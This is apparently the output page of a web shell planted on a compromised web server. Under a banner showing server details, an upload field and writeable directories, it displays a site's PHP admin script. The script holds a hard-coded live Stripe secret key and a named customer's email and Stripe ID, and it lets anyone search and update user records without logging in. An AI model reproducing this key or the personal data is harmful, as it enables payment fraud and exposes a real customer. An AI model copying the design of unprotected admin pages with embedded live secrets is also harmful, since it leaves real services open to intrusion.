T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/find_and_sync_user.php
<?php
/**
 * Find User and Sync Subscription
 * This script helps find a user by email and syncs their subscription from Stripe
 */

require_once __DIR__ . '/config/database.php';

$stripe_secret = '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';

header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
    <title>Find User and Sync Subscription</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            background: #1a1a1a;
            color: #fff;
        }
        .section {
            background: #2a2a2a;
            padding: 20px;
            margin: 20px 0;
            border-radius: 8px;
        }
        .success { color: #48bb78; }
        .error { color: #f56565; }
        .info { color: #4299e1; }
        .warning { color: #ffc107; }
        input[type="text"], input[type="email"] {
            padding: 10px;
            width: 300px;
            border-radius: 5px;
            border: 1px solid #444;
            background: #1a1a1a;
            color: #fff;
        }
        button {
            padding: 10px 20px;
            background: #4299e1;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-weight: bold;
        }
        button:hover {
            background: #3182ce;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin: 10px 0;
        }
        th, td {
            padding: 10px;
            text-align: left;
            border-bottom: 1px solid #444;
        }
        th {
            background: #333;
        }
        .action-link {
            color: #4299e1;
            text-decoration: none;
            padding: 5px 10px;
            background: #1a1a1a;
            border-radius: 3px;
        }
        .action-link:hover {
            background: #333;
        }
    </style>
</head>
<body>
    <h1>Find User and Sync Subscription</h1>
    
    <?php
    $pdo = getDBConnection();
    $search_email = $_GET['email'] ?? '';
    $search_name = $_GET['name'] ?? '';
    
    // Search form
    echo '<div class="section">';
    echo '<h2>Search for User</h2>';
    echo '<form method="GET">';
    echo '<p>';
    echo '<label>Email: <input type="email" name="email" value="' . htmlspecialchars($search_email) . '" placeholder="stevenberg450@gmail.com"></label><br><br>';
    echo '<label>Name: <input type="text" name="name" value="' . htmlspecialchars($search_name) . '" placeholder="Stephane Bergeron"></label><br><br>';
    echo '<button type="submit">Search</button>';
    echo '</p>';
    echo '</form>';
    echo '</div>';
    
    if ($search_email || $search_name) {
        // Search for users
        echo '<div class="section">';
        echo '<h2>Search Results</h2>';
        
        $users = [];
        if ($search_email) {
            $stmt = $pdo->prepare("SELECT id, name, email, stripe_customer_id, plan, credits FROM users WHERE email LIKE ?");
            $stmt->execute(["%{$search_email}%"]);
            $users = $stmt->fetchAll(PDO::FETCH_ASSOC);
        } elseif ($search_name) {
            $stmt = $pdo->prepare("SELECT id, name, email, stripe_customer_id, plan, credits FROM users WHERE name LIKE ?");
            $stmt->execute(["%{$search_name}%"]);
            $users = $stmt->fetchAll(PDO::FETCH_ASSOC);
        }
        
        if (empty($users)) {
            echo "<p class='error'>✗ No users found</p>";
        } else {
            echo "<p class='success'>✓ Found " . count($users) . " user(s)</p>";
            echo "<table>";
            echo "<tr><th>ID</th><th>Name</th><th>Email</th><th>Stripe Customer ID</th><th>Plan</th><th>Credits</th><th>Action</th></tr>";
            foreach ($users as $user) {
                echo "<tr>";
                echo "<td>{$user['id']}</td>";
                echo "<td>" . htmlspecialchars($user['name']) . "</td>";
                echo "<td>" . htmlspecialchars($user['email']) . "</td>";
                echo "<td>" . ($user['stripe_customer_id'] ? htmlspecialchars($user['stripe_customer_id']) : '<span class="warning">None</span>') . "</td>";
                echo "<td>{$user['plan']}</td>";
                echo "<td>{$user['credits']}</td>";
                echo "<td><a href='sync_subscription_from_stripe.php?user_id={$user['id']}' class='action-link'>Sync Subscription</a></td>";
                echo "</tr>";
            }
            echo "</table>";
        }
        echo '</div>';
        
        // If we found Stephane specifically, show Stripe info
        $stephane_found = false;
        foreach ($users as $user) {
            if (stripos($user['email'], 'stevenberg450') !== false || stripos($user['name'], 'Stephane') !== false || stripos($user['name'], 'Bergeron') !== false) {
                $stephane_found = true;
                
                echo '<div class="section">';
                echo '<h2>Stephane Bergeron - Stripe Information</h2>';
                echo "<p class='info'>From the Stripe screenshot, Stephane's customer ID should be: <strong>cus_TU1piJi9qLbFyS</strong></p>";
                
                // Check if customer ID matches
                if ($user['stripe_customer_id'] !== 'cus_TU1piJi9qLbFyS') {
                    echo "<p class='warning'>⚠ Customer ID mismatch!</p>";
                    echo "<p>Database has: <strong>" . ($user['stripe_customer_id'] ?: 'None') . "</strong></p>";
                    echo "<p>Stripe has: <strong>cus_TU1piJi9qLbFyS</strong></p>";
                    
                    // Try to fetch from Stripe by email
                    echo "<p class='info'>Fetching customer from Stripe by email...</p>";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, "https://api.stripe.com/v1/customers?email=" . urlencode($user['email']) . "&limit=1");
                    curl_setopt($ch, CURLOPT_USERPWD, $stripe_secret . ":");
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    $response = curl_exec($ch);
                    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                    curl_close($ch);
                    
                    if ($http_code === 200) {
                        $customers = json_decode($response, true);
                        if (!empty($customers['data']) && count($customers['data']) > 0) {
                            $stripe_customer = $customers['data'][0];
                            $stripe_customer_id = $stripe_customer['id'];
                            
                            echo "<p class='success'>✓ Found customer in Stripe: <strong>{$stripe_customer_id}</strong></p>";
                            
                            if ($stripe_customer_id === 'cus_TU1piJi9qLbFyS') {
                                echo "<p class='success'>✓ This matches the customer ID from the screenshot!</p>";
                                
                                // Update database
                                echo "<p class='info'>Updating database with correct customer ID...</p>";
                                $stmt = $pdo->prepare("UPDATE users SET stripe_customer_id = ? WHERE id = ?");
                                $stmt->execute([$stripe_customer_id, $user['id']]);
                                echo "<p class='success'>✓ Updated customer ID in database</p>";
                                
                                // Now fetch subscriptions
                                echo "<p class='info'>Fetching subscriptions from Stripe...</p>";
                                $ch = curl_init();
                                curl_setopt($ch, CURLOPT_URL, "https://api.stripe.com/v1/subscriptions?customer=" . urlencode($stripe_customer_id) . "&limit=10");
                                curl_setopt($ch, CURLOPT_USERPWD, $stripe_secret . ":");
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                $response = curl_exec($ch);
                                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                                curl_close($ch);
                                
                                if ($http_code === 200) {
                                    $subscriptions_data = json_decode($response, true);
                                    $subscriptions = $subscriptions_data['data'] ?? [];
                                    
                                    if (!empty($subscriptions)) {
                                        echo "<p class='success'>✓ Found " . count($subscriptions) . " subscription(s) in Stripe</p>";
                                        echo "<p><a href='sync_subscription_from_stripe.php?user_id={$user['id']}' class='action-link' style='display:inline-block;padding:10px 20px;background:#48bb78;color:white;text-decoration:none;border-radius:5px;'>Sync Subscription Now</a></p>";
                                    } else {
                                        echo "<p class='warning'>⚠ No subscriptions found in Stripe</p>";
                                    }
                                } else {
                                    echo "<p class='error'>✗ Error fetching subscriptions: HTTP {$http_code}</p>";
                                }
                            } else {
                                echo "<p class='warning'>⚠ Customer ID from Stripe ({$stripe_customer_id}) doesn't match screenshot (cus_TU1piJi9qLbFyS)</p>";
                                echo "<p>This might be a different customer. Please verify.</p>";
                            }
                        } else {
                            echo "<p class='error'>✗ Customer not found in Stripe by email</p>";
                        }
                    } else {
                        echo "<p class='error'>✗ Error searching Stripe: HTTP {$http_code}</p>";
                    }
                } else {
                    echo "<p class='success'>✓ Customer ID matches!</p>";
                    echo "<p><a href='sync_subscription_from_stripe.php?user_id={$user['id']}' class='action-link' style='display:inline-block;padding:10px 20px;background:#48bb78;color:white;text-decoration:none;border-radius:5px;'>Sync Subscription Now</a></p>";
                }
                
                echo '</div>';
                break;
            }
        }
        
        if (!$stephane_found) {
            echo '<div class="section">';
            echo '<h2>Quick Search for Stephane</h2>';
            echo "<p>Try searching with:</p>";
            echo "<ul>";
            echo "<li><a href='?email=stevenberg450@gmail.com' class='action-link'>stevenberg450@gmail.com</a></li>";
            echo "<li><a href='?name=Stephane' class='action-link'>Stephane</a></li>";
            echo "<li><a href='?name=Bergeron' class='action-link'>Bergeron</a></li>";
            echo "</ul>";
            echo '</div>';
        }
    } else {
        // Show quick links
        echo '<div class="section">';
        echo '<h2>Quick Links</h2>';
        echo '<p>Search for Stephane Bergeron:</p>';
        echo '<ul>';
        echo '<li><a href="?email=stevenberg450@gmail.com" class="action-link">Search by email: stevenberg450@gmail.com</a></li>';
        echo '<li><a href="?name=Stephane" class="action-link">Search by name: Stephane</a></li>';
        echo '</ul>';
        echo '</div>';
    }
    ?>
</body>
</html>


CasperSecurity Mini